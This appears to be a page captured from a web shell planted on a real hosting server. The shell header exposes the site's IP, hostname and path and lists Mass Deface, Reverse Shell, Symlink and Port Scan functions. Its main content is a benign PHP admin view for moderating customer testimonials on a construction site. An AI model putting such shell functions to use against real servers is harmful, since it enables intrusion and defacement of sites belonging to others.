Tul xxx Tul
User / IP
:
216.73.216.159
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
construcciones
/
admin
/
app
/
Views
/
comments
/
Viewing: index.php
<?php $badge = [ 'pendiente' => 'bg-amber-500/10 text-amber-600 border-amber-500/20', 'aprobado' => 'bg-emerald-500/10 text-emerald-600 border-emerald-500/20', 'rechazado' => 'bg-rose-500/10 text-rose-600 border-rose-500/20', ]; ?> <div class="animate-in fade-in slide-in-from-bottom-4 duration-700"> <!-- Header Section --> <div class="mb-6 flex flex-col md:flex-row md:items-center justify-between gap-4"> <div> <div class="flex items-center gap-2 text-[10px] font-bold text-slate-400 uppercase tracking-widest mb-1"> <span>Dashboard</span> <svg xmlns="http://www.w3.org/2000/svg" width="8" height="8" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="3" stroke-linecap="round" stroke-linejoin="round"><path d="m9 18 6-6-6-6"/></svg> <span class="text-slate-900">Comentarios</span> </div> <h1 class="text-3xl font-black text-slate-950 tracking-tight">Gestión de <span class="text-gold">Testimonios</span></h1> <p class="mt-1 text-xs text-slate-500 max-w-xl font-medium">Modera las experiencias compartidas por tus clientes.</p> </div> </div> <!-- Filters Section --> <div class="mb-4 rounded-2xl border border-slate-200 bg-white p-3 shadow-sm"> <form method="GET" action="<?= url('comments') ?>" class="flex flex-wrap items-end gap-2"> <div class="flex-1 min-w-[180px] space-y-1"> <label class="text-[8px] font-black uppercase tracking-[0.1em] text-slate-400 ml-1">Buscar</label> <div class="relative group"> <input name="search" value="<?= clean($filters['search'] ?? '') ?>" placeholder="Nombre o email..." class="w-full rounded-lg border border-slate-200 bg-slate-50/50 px-3 py-1.5 text-[11px] outline-none focus:border-gold transition-all"> <div class="absolute right-3 top-1/2 -translate-y-1/2 text-slate-300"> <svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><circle cx="11" cy="11" r="8"/><path d="m21 21-4.3-4.3"/></svg> </div> </div> </div> <div class="w-32 space-y-1"> <label class="text-[8px] font-black uppercase tracking-[0.1em] text-slate-400 ml-1">Estado</label> <select name="status" class="w-full rounded-lg border border-slate-200 bg-slate-50/50 px-3 py-1.5 text-[11px] outline-none cursor-pointer"> <option value="">Todos</option> <?php foreach (['pendiente', 'aprobado', 'rechazado'] as $status): ?> <option value="<?= $status ?>" <?= ($filters['status'] ?? '') === $status ? 'selected' : '' ?>><?= clean(ucfirst($status)) ?></option> <?php endforeach; ?> </select> </div> <div class="w-32 space-y-1"> <label class="text-[8px] font-black uppercase tracking-[0.1em] text-slate-400 ml-1">Rating</label> <select name="rating" class="w-full rounded-lg border border-slate-200 bg-slate-50/50 px-3 py-1.5 text-[11px] outline-none cursor-pointer"> <option value="">Cualquier</option> <?php for ($i = 5; $i >= 1; $i--): ?> <option value="<?= $i ?>" <?= (string) ($filters['rating'] ?? '') === (string) $i ? 'selected' : '' ?>><?= str_repeat('★', $i) ?></option> <?php endfor; ?> </select> </div> <div class="flex gap-1"> <button type="submit" class="h-[32px] px-4 rounded-lg bg-slate-950 text-[9px] font-black text-white transition-all hover:bg-gold hover:text-black uppercase tracking-[0.1em] shadow-sm flex items-center gap-1.5"> <span>Filtrar</span> </button> <a href="<?= url('comments') ?>" class="w-[32px] h-[32px] rounded-lg border border-slate-200 bg-white flex items-center justify-center text-slate-300 hover:text-rose-500 transition-all shadow-sm" title="Reestablecer"> <svg xmlns="http://www.w3.org/2000/svg" width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><path d="M3 12a9 9 0 1 0 9-9 9.75 9.75 0 0 0-6.74 2.74L3 8"/><path d="M3 3v5h5"/></svg> </a> </div> </form> </div> <!-- Table Section --> <div class="rounded-2xl border border-slate-200 bg-white shadow-sm overflow-hidden"> <div class="overflow-x-auto"> <table class="min-w-full divide-y divide-slate-100 text-[11px]"> <thead class="bg-slate-50/50 text-left text-[9px] font-black uppercase tracking-[0.15em] text-slate-400"> <tr> <th class="px-6 py-4">Cliente</th> <th class="px-6 py-4">Testimonio</th> <th class="px-6 py-4 text-center">Estado</th> <th class="px-6 py-4 text-center">Destacado</th> <th class="px-6 py-4 text-right">Acciones</th> </tr> </thead> <tbody id="commentsTable" class="divide-y divide-slate-50"> <?php foreach ($comments as $comment): ?> <tr class="comment-row hover:bg-slate-50/50 transition-colors group"> <td class="px-4 py-3"> <div class="flex flex-col"> <div class="flex items-center gap-1.5"> <span class="font-black text-slate-900 text-[11px] leading-tight truncate"><?= clean($comment['name']) ?></span> <span class="text-[8px] text-slate-300 font-bold uppercase"><?= clean(date('d M, Y', strtotime($comment['created_at']))) ?></span> </div> <span class="text-[9px] text-slate-400 font-medium truncate"><?= clean($comment['email']) ?></span> </div> </td> <td class="px-4 py-3 max-w-xs"> <div class="flex gap-0.5 mb-1"> <?php for($i=1; $i<=5; $i++): ?> <svg xmlns="http://www.w3.org/2000/svg" width="8" height="8" viewBox="0 0 24 24" fill="<?= $i <= (int)$comment['rating'] ? '#EAB308' : 'none' ?>" stroke="<?= $i <= (int)$comment['rating'] ? '#EAB308' : '#cbd5e1' ?>" stroke-width="2.5"><polygon points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"/></svg> <?php endfor; ?> </div> <p class="text-slate-500 text-[10px] leading-tight font-medium italic line-clamp-1" title="<?= clean($comment['message']) ?>">"<?= clean($comment['message']) ?>"</p> <?php if ($comment['admin_reply']): ?> <div class="mt-1 flex gap-1 p-1 rounded bg-slate-50 border border-slate-100"> <div class="absolute left-0 top-0 bottom-0 w-0.5 bg-gold/40"></div> <div class="flex flex-col min-w-0"> <span class="text-[8px] font-black uppercase tracking-widest text-gold mb-0.5">Respuesta</span> <p class="text-[10px] text-slate-400 leading-tight font-medium line-clamp-1"><?= clean($comment['admin_reply']) ?></p> </div> </div> <?php endif; ?> </td> <td class="px-6 py-4 text-center"> <span class="inline-flex items-center rounded-full px-3 py-1 text-[8px] font-black uppercase tracking-widest border transition-all duration-300 <?= $badge[$comment['status']] ?? 'bg-slate-100 text-slate-600' ?>"> <?= clean($comment['status']) ?> </span> </td> <td class="px-6 py-4 text-center"> <?php if ($comment['is_featured']): ?> <div class="inline-flex items-center justify-center w-6 h-6 rounded-lg bg-gold/10 text-gold border border-gold/20 shadow-sm" title="Destacado"> <svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 24 24" fill="currentColor" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polygon points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"/></svg> </div> <?php else: ?> <span class="text-slate-200"> <svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polygon points="12 2 15.09 8.26 22 9.27 17 14.14 18.18 21.02 12 17.77 5.82 21.02 7 14.14 2 9.27 8.91 8.26 12 2"/></svg> </span> <?php endif; ?> </td> <td class="px-6 py-4 text-right"> <div class="flex items-center justify-end gap-1"> <?php if ($comment['status'] !== 'aprobado'): ?> <form action="<?= url('comments/approve/' . $comment['id']) ?>" method="POST"><?= csrf_field() ?><button class="px-3 py-1.5 rounded-lg bg-emerald-50 text-emerald-600 text-[9px] font-black uppercase tracking-widest hover:bg-emerald-600 hover:text-white transition-all active:scale-95 shadow-sm">Aprobar</button></form> <?php endif; ?> <?php if ($comment['status'] !== 'rechazado'): ?> <form action="<?= url('comments/reject/' . $comment['id']) ?>" method="POST"><?= csrf_field() ?><button class="px-3 py-1.5 rounded-lg bg-rose-50 text-rose-600 text-[9px] font-black uppercase tracking-widest hover:bg-rose-600 hover:text-white transition-all active:scale-95 shadow-sm">Rechazar</button></form> <?php endif; ?> <form action="<?= url('comments/feature/' . $comment['id']) ?>" method="POST"><?= csrf_field() ?><button class="px-3 py-1.5 rounded-lg border border-slate-200 text-slate-500 text-[9px] font-black uppercase tracking-widest hover:bg-slate-900 hover:text-white transition-all active:scale-95 shadow-sm"><?= $comment['is_featured'] ? 'Quitar' : 'Destacar' ?></button></form> <button type="button" data-reply-url="<?= url('comments/reply/' . $comment['id']) ?>" data-reply="<?= clean($comment['admin_reply'] ?? '') ?>" class="reply-comment px-3 py-1.5 rounded-lg border border-slate-200 text-slate-500 text-[9px] font-black uppercase tracking-widest hover:bg-slate-900 hover:text-white transition-all active:scale-95 shadow-sm">Responder</button> <button type="button" data-delete-url="<?= url('comments/delete/' . $comment['id']) ?>" data-delete-name="<?= clean($comment['name']) ?>" class="delete-comment px-3 py-1.5 rounded-lg bg-slate-50 text-slate-300 text-[9px] font-black uppercase tracking-widest hover:bg-red-600 hover:text-white transition-all active:scale-95 shadow-sm">Eliminar</button> </div> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> <!-- Pagination --> <div class="px-8 py-6 bg-slate-50/50 flex flex-col md:flex-row items-center justify-between gap-4"> <p id="pageInfo" class="text-[10px] font-black uppercase tracking-[0.2em] text-slate-400"></p> <div class="flex items-center gap-2"> <button id="prevPage" class="flex items-center gap-2 px-6 py-3 rounded-2xl border border-slate-200 bg-white text-[10px] font-black uppercase tracking-widest hover:bg-slate-950 hover:text-white transition-all disabled:opacity-30 disabled:pointer-events-none active:scale-95"> <svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="3" stroke-linecap="round" stroke-linejoin="round"><path d="m15 18-6-6 6-6"/></svg> Anterior </button> <button id="nextPage" class="flex items-center gap-2 px-6 py-3 rounded-2xl border border-slate-200 bg-white text-[10px] font-black uppercase tracking-widest hover:bg-slate-950 hover:text-white transition-all disabled:opacity-30 disabled:pointer-events-none active:scale-95"> Siguiente <svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="3" stroke-linecap="round" stroke-linejoin="round"><path d="m9 18 6-6-6-6"/></svg> </button> </div> </div> </div> </div> <!-- Modals --> <div id="replyModal" class="fixed inset-0 z-50 hidden items-center justify-center p-6 transition-all duration-500 opacity-0 pointer-events-none"> <div class="absolute inset-0 bg-slate-950/40 backdrop-blur-md" onclick="closeAllModals()"></div> <form id="replyForm" method="POST" class="relative w-full max-w-xl rounded-[2.5rem] bg-white p-10 shadow-2xl scale-95 transition-all duration-500 overflow-hidden"> <?= csrf_field() ?> <div class="absolute top-0 right-0 p-8"> <button type="button" class="close-modal w-10 h-10 rounded-full flex items-center justify-center text-slate-400 hover:bg-slate-100 hover:text-slate-900 transition-all"> <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M18 6L6 18M6 6l12 12"/></svg> </button> </div> <div class="mb-8"> <div class="w-14 h-14 rounded-2xl bg-gold/10 flex items-center justify-center text-gold mb-6"> <svg xmlns="http://www.w3.org/2000/svg" width="28" height="28" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 15a2 2 0 0 1-2 2H7l-4 4V5a2 2 0 0 1 2-2h14a2 2 0 0 1 2 2z"/></svg> </div> <h2 class="text-3xl font-black text-slate-950 tracking-tight">Responder comentario</h2> <p class="mt-2 text-slate-500 font-medium">Escribe tu respuesta pública para este testimonio.</p> </div> <div class="space-y-4"> <label class="text-[10px] font-black uppercase tracking-widest text-slate-400 ml-1">Tu Respuesta</label> <textarea id="replyText" name="admin_reply" rows="5" required placeholder="Escribe aquí..." class="w-full rounded-[2rem] border border-slate-200 bg-slate-50 px-6 py-5 text-sm outline-none focus:border-gold focus:ring-4 focus:ring-gold/10 transition-all resize-none"></textarea> </div> <div class="mt-10 flex gap-3"> <button type="button" class="close-modal flex-1 rounded-2xl border border-slate-200 px-6 py-4 text-[12px] font-black text-slate-600 uppercase tracking-widest hover:bg-slate-50 transition-all">Cancelar</button> <button class="flex-1 rounded-2xl bg-slate-950 px-6 py-4 text-[12px] font-black text-white uppercase tracking-widest hover:bg-gold hover:text-black transition-all shadow-xl shadow-slate-950/20">Guardar Respuesta</button> </div> </form> </div> <div id="deleteModal" class="fixed inset-0 z-50 hidden items-center justify-center p-6 transition-all duration-500 opacity-0 pointer-events-none"> <div class="absolute inset-0 bg-slate-950/40 backdrop-blur-md" onclick="closeAllModals()"></div> <form id="deleteForm" method="POST" class="relative w-full max-w-md rounded-[2.5rem] bg-white p-10 shadow-2xl scale-95 transition-all duration-500"> <?= csrf_field() ?> <div class="mb-8 text-center"> <div class="w-20 h-20 rounded-full bg-rose-50 flex items-center justify-center text-rose-500 mx-auto mb-6"> <svg xmlns="http://www.w3.org/2000/svg" width="36" height="36" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M3 6h18"/><path d="M19 6v14c0 1-1 2-2 2H7c-1 0-2-1-2-2V6"/><path d="M8 6V4c0-1 1-2 2-2h4c1 0 2 1 2 2v2"/><line x1="10" y1="11" x2="10" y2="17"/><line x1="14" y1="11" x2="14" y2="17"/></svg> </div> <h2 class="text-3xl font-black text-slate-950 tracking-tight">¿Eliminar?</h2> <p class="mt-4 text-slate-500 font-medium leading-relaxed">Estás a punto de eliminar el comentario de <br/> <strong id="deleteName" class="text-slate-900"></strong>. Esta acción no se puede deshacer.</p> </div> <div class="flex gap-3"> <button type="button" class="close-modal flex-1 rounded-2xl border border-slate-200 px-6 py-4 text-[12px] font-black text-slate-600 uppercase tracking-widest hover:bg-slate-50 transition-all">No, Cancelar</button> <button class="flex-1 rounded-2xl bg-rose-600 px-6 py-4 text-[12px] font-black text-white uppercase tracking-widest hover:bg-rose-700 transition-all shadow-xl shadow-rose-600/20">Sí, Eliminar</button> </div> </form> </div> <script> // Pagination Logic const rows = [...document.querySelectorAll('.comment-row')]; const prev = document.getElementById('prevPage'); const next = document.getElementById('nextPage'); const info = document.getElementById('pageInfo'); let page = 1; const per = 10; function render() { const pages = Math.max(1, Math.ceil(rows.length / per)); rows.forEach(r => { r.classList.add('hidden'); r.classList.remove('animate-in', 'fade-in', 'slide-in-from-left-2'); }); const batch = rows.slice((page - 1) * per, page * per); batch.forEach((r, i) => { r.classList.remove('hidden'); r.style.animationDelay = `${i * 50}ms`; r.classList.add('animate-in', 'fade-in', 'slide-in-from-left-2', 'duration-500'); }); info.textContent = `Página ${page} de ${pages} • Total: ${rows.length}`; prev.disabled = page === 1; next.disabled = page === pages; } prev.onclick = () => { page--; render(); window.scrollTo({ top: 0, behavior: 'smooth' }); }; next.onclick = () => { page++; render(); window.scrollTo({ top: 0, behavior: 'smooth' }); }; render(); // Modal Logic function openModal(id) { const m = document.getElementById(id); m.classList.remove('hidden'); setTimeout(() => { m.classList.remove('opacity-0', 'pointer-events-none'); m.classList.add('opacity-100', 'pointer-events-auto', 'flex'); m.querySelector('form').classList.remove('scale-95'); m.querySelector('form').classList.add('scale-100'); }, 10); } function closeAllModals() { document.querySelectorAll('[id$="Modal"]').forEach(m => { m.querySelector('form').classList.remove('scale-100'); m.querySelector('form').classList.add('scale-95'); m.classList.remove('opacity-100', 'pointer-events-auto'); m.classList.add('opacity-0', 'pointer-events-none'); setTimeout(() => { m.classList.add('hidden'); m.classList.remove('flex'); }, 500); }); } document.querySelectorAll('.reply-comment').forEach(b => { b.onclick = () => { const f = document.getElementById('replyForm'); f.action = b.dataset.replyUrl; document.getElementById('replyText').value = b.dataset.reply || ''; openModal('replyModal'); }; }); document.querySelectorAll('.delete-comment').forEach(b => { b.onclick = () => { const f = document.getElementById('deleteForm'); f.action = b.dataset.deleteUrl; document.getElementById('deleteName').textContent = b.dataset.deleteName; openModal('deleteModal'); }; }); document.querySelectorAll('.close-modal').forEach(b => b.onclick = closeAllModals); </script>
Coded With 💗 by
0x6ick